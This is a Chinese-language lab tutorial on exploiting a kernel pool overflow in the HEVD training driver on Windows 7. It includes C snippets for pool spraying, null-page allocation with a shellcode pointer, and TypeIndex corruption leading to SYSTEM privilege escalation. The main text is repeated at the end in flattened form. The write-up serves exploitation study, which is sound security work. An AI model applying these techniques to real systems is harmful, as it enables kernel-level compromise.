Windows Kernel Exploit(四) -> PoolOverflow
字数 1402 2025-08-04 08:17:24

Windows内核漏洞利用:池溢出漏洞分析与利用

0x00 前言

本文是Windows内核漏洞利用系列的第四部分,重点讲解内核池溢出漏洞。要理解这部分内容,需要具备以下前置知识:

  1. Windows内存分配机制
  2. 堆溢出利用基础知识(建议参考《0day安全:软件漏洞分析技术第二版》第五章)
  3. Windows 7内核池管理机制(参考Tarjei Mandt的《Kernel Pool Exploitation on Windows 7》)

实验环境要求:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具(建议配合VirtualKD使用)
  • HEVD+OSR Loader配合构造漏洞环境

0x01 漏洞原理

池溢出原理分析

通过IDA分析HEVD.sys中的TriggerPoolOverflow函数,可以看到以下关键操作:

  1. 使用ExAllocatePoolWithTag分配一块非分页内存池(大小0x1F8)
  2. 打印分配的内存池信息
  3. 验证用户缓冲区是否驻留在用户模式
  4. 使用memcpy将用户缓冲区内容拷贝到内核缓冲区

漏洞点在于memcpy操作没有对拷贝大小Size进行有效控制,导致可能发生池溢出。

int __stdcall TriggerPoolOverflow(void *UserBuffer, unsigned int Size)
{
  PVOID KernelBuffer = ExAllocatePoolWithTag(0, 0x1F8u, 0x6B636148u);
  // ...省略验证和打印...
  memcpy(KernelBuffer, UserBuffer, Size); // 漏洞点:未校验Size大小
  ExFreePoolWithTag(KernelBuffer, 0x6B636148u);
  return result;
}

安全版本应该使用固定大小进行拷贝:

#ifdef SECURE
// 安全版本使用固定大小
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
// 漏洞版本直接使用用户控制的Size
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

0x02 漏洞利用

控制码计算

根据HEVD驱动头文件定义:

#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL IOCTL(0x803)

使用Python计算控制码:

>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)
'0x22200f'

池布局控制

为了可靠地利用池溢出漏洞,我们需要控制内核池的布局:

  1. 使用CreateEventA进行堆喷射
    • 每个Event对象大小为0x40
    • 创建大量Event对象填满池空间
HANDLE spray_event[0x1000];
for (int i = 0; i < 0x1000; i++)
    spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
  1. 制造可控空洞
    • 间隔释放一些Event对象
    • 这样可以在池中制造出我们能够控制的"空洞"
for (int i = 0; i < 0x1000; i++) {
    // 0x40 * 8 = 0x200
    for (int j = 0; j < 8; j++)
        CloseHandle(spray_event[i + j]);
    i += 8;
}

池头结构分析

Windows 7内核池的池头结构(_POOL_HEADER)如下:

struct _POOL_HEADER {
    USHORT PreviousSize : 9;  // 前一个chunk的BlockSize
    USHORT PoolIndex : 7;     // 所在大pool的pool descriptor的index
    USHORT BlockSize : 9;     // 当前块大小
    USHORT PoolType : 7;      // Free=0, Allocated=(PoolType|2)
    ULONG PoolTag;            // 4个可打印字符标识分配者
};

对象头结构利用

Windows 7中对象头结构发生了变化:

  1. _OBJECT_HEADER位于池分配的内存之后
  2. 关键字段TypeIndex位于_OBJECT_HEADER+0xC处
  3. TypeIndex用于在ObTypeIndexTable数组中查找对象类型
struct _OBJECT_HEADER {
    LONG PointerCount;
    LONG HandleCount;
    _EX_PUSH_LOCK Lock;
    UCHAR TypeIndex;       // 关键字段,位于+0xC
    // ...其他字段...
};

利用思路:

  1. 通过池溢出修改下一个池块的TypeIndex为0
  2. 因为ObTypeIndexTable前8字节为0,这样会返回NULL指针
  3. 在用户空间分配0页内存并放置shellcode
  4. 当关闭句柄时,会调用对象的关闭例程,从而执行我们的shellcode

0页内存分配

在Windows 7下可以分配0页内存:

PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
    GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");

NtAllocateVirtualMemory(
    INVALID_HANDLE_VALUE,
    &Zero_addr,
    0,
    &RegionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);

*(DWORD*)(0x60) = (DWORD)&ShellCode; // 在0x60处放置shellcode指针

0x03 完整利用步骤

  1. 初始化设备句柄
  2. 构造池头结构
  3. 申请0页内存并放入shellcode
  4. 进行堆喷射并制造可控空洞
  5. 调用TriggerPoolOverflow触发漏洞
  6. 关闭句柄触发shellcode执行
  7. 通过cmd提权

调试技巧

  1. 在memcpy处下断点观察池状态

    ba e1 HEVD!TriggerPoolOverflow+0xe1
    
  2. 检查0页内存是否分配成功

    dd 0x0
    
  3. 检查shellcode指针是否正确设置

    dd 0x60
    
  4. 使用__debugbreak()在代码中插入断点

总结

本文详细分析了Windows 7内核池溢出漏洞的原理和利用方法,关键在于:

  1. 理解内核池管理机制
  2. 控制池布局制造可控空洞
  3. 利用对象头结构修改类型索引
  4. 通过0页内存放置shellcode
  5. 利用对象关闭例程触发执行

这种利用技术虽然复杂,但掌握了内核池的管理机制后,可以举一反三应用于其他类似漏洞的利用中。

Windows内核漏洞利用:池溢出漏洞分析与利用 0x00 前言 本文是Windows内核漏洞利用系列的第四部分,重点讲解内核池溢出漏洞。要理解这部分内容,需要具备以下前置知识: Windows内存分配机制 堆溢出利用基础知识(建议参考《0day安全:软件漏洞分析技术第二版》第五章) Windows 7内核池管理机制(参考Tarjei Mandt的《Kernel Pool Exploitation on Windows 7》) 实验环境要求: Windows 7 x86 sp1虚拟机 配置好windbg等调试工具(建议配合VirtualKD使用) HEVD+OSR Loader配合构造漏洞环境 0x01 漏洞原理 池溢出原理分析 通过IDA分析HEVD.sys中的 TriggerPoolOverflow 函数,可以看到以下关键操作: 使用 ExAllocatePoolWithTag 分配一块非分页内存池(大小0x1F8) 打印分配的内存池信息 验证用户缓冲区是否驻留在用户模式 使用 memcpy 将用户缓冲区内容拷贝到内核缓冲区 漏洞点在于 memcpy 操作没有对拷贝大小 Size 进行有效控制,导致可能发生池溢出。 安全版本应该使用固定大小进行拷贝: 0x02 漏洞利用 控制码计算 根据HEVD驱动头文件定义: 使用Python计算控制码: 池布局控制 为了可靠地利用池溢出漏洞,我们需要控制内核池的布局: 使用CreateEventA进行堆喷射 : 每个Event对象大小为0x40 创建大量Event对象填满池空间 制造可控空洞 : 间隔释放一些Event对象 这样可以在池中制造出我们能够控制的"空洞" 池头结构分析 Windows 7内核池的池头结构(_ POOL_ HEADER)如下: 对象头结构利用 Windows 7中对象头结构发生了变化: _OBJECT_HEADER 位于池分配的内存之后 关键字段 TypeIndex 位于 _OBJECT_HEADER +0xC处 TypeIndex 用于在 ObTypeIndexTable 数组中查找对象类型 利用思路: 通过池溢出修改下一个池块的 TypeIndex 为0 因为 ObTypeIndexTable 前8字节为0,这样会返回NULL指针 在用户空间分配0页内存并放置shellcode 当关闭句柄时,会调用对象的关闭例程,从而执行我们的shellcode 0页内存分配 在Windows 7下可以分配0页内存: 0x03 完整利用步骤 初始化设备句柄 构造池头结构 申请0页内存并放入shellcode 进行堆喷射并制造可控空洞 调用TriggerPoolOverflow触发漏洞 关闭句柄触发shellcode执行 通过cmd提权 调试技巧 在memcpy处下断点观察池状态 检查0页内存是否分配成功 检查shellcode指针是否正确设置 使用 __debugbreak() 在代码中插入断点 总结 本文详细分析了Windows 7内核池溢出漏洞的原理和利用方法,关键在于: 理解内核池管理机制 控制池布局制造可控空洞 利用对象头结构修改类型索引 通过0页内存放置shellcode 利用对象关闭例程触发执行 这种利用技术虽然复杂,但掌握了内核池的管理机制后,可以举一反三应用于其他类似漏洞的利用中。